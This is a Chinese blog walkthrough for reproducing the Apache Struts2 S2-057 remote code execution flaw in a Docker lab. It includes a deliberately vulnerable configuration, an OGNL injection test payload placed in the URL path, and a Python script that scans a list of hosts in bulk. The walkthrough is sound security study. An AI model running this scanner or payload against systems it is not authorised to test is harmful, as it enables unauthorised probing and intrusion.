本文最后更新于:2019 , 八月 19日 星期一, 8:57 晚上
简介
定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行
url标签未设置value和action值且上层动作未设置或用通配符namespace时可能会导致远程代码执行
搭建漏洞环境
克隆vulhub
git clone https://github.com/vulhub/vulhub cd vulhub/struts2/s2-048 docker-compose up -d docker ps
进入docker
docker ps
docker exec -i -t <你上面显示的CONTAINER ID > /bin/bash
- 根据公告(Struts 2.5.16存在s2-057漏洞,然后去下载这个版本)
Tips:在wget步骤可能会有点久,可以让他自己下载,看下电影去。。
apt-get update -y
mkdir /usr/local/tomcat/webapps/test
wget https://fossies.org/linux/www/legacy/struts-2.5.16-all.zip
apt-get install unzip -y
unzip struts-2.5.16-all.zip
cp struts-2.5.16/apps/struts2-showcase.war /usr/local/tomcat/webapps/
修改配置文件
/usr/local/tomcat/webapps/struts2-showcase/WEB-INF/classes/struts-actionchaining.xml
/usr/local/tomcat/webapps/struts2-showcase/WEB-INF/src/java/struts-actionchaining.xml
修改为
<struts>
<package name="actionchaining" extends="struts-default">
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction">
<param name = "actionName">register2</param>
</result>
</action>
</package>
</struts>
两处修改完之后,重启服务
cd /usr/local/tomcat/bin/
./shutdown.sh
docker-compose up -d
漏洞利用
漏洞利用大致分类
- 数值计算
${(100+200)}
可以在指定URL处计算
http://192.168.28.130:8080/struts2-showcase/${(100+200)}/actionChain1.action - 弹出计算器
- 命令回显
在这里,我只成功了数值计算,其他两个据说要在低版本才能执行
有兴趣的小伙伴,可以自行尝试
批量检测
import requests
def scan(host):
payload = '${(100+200)}'
urls = 'http://%s/struts2-showcase/' % (host)
url = urls + payload + '/actionChain1.action'
com = urls + '300/register2.action'
headers = {'user-aget': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36'}
try:
r = requests.get(url,headers,timeout=10)
if r.url == com:
print('Please wait...')
print('[+] St2-057:'+r.url)
else:
print('[-] Not St2-057')
except Exception as e:
print('[-] Error:'+com)
if __name__ == '__main__':
file_path = input('Path:')
host = [i.rstrip('\n') for i in open(file_path, 'r') if i != '\n']
for i in host:
scan(i)
参考链接
https://github.com/Ivan1ee/struts2-057-exp
https://github.com/jas502n/St2-057/
https://bbs.ichunqiu.com/thread-44733-1-1.html
https://422926799.github.io/2018/08/23/St2-057%E5%A4%8D%E7%8E%B0/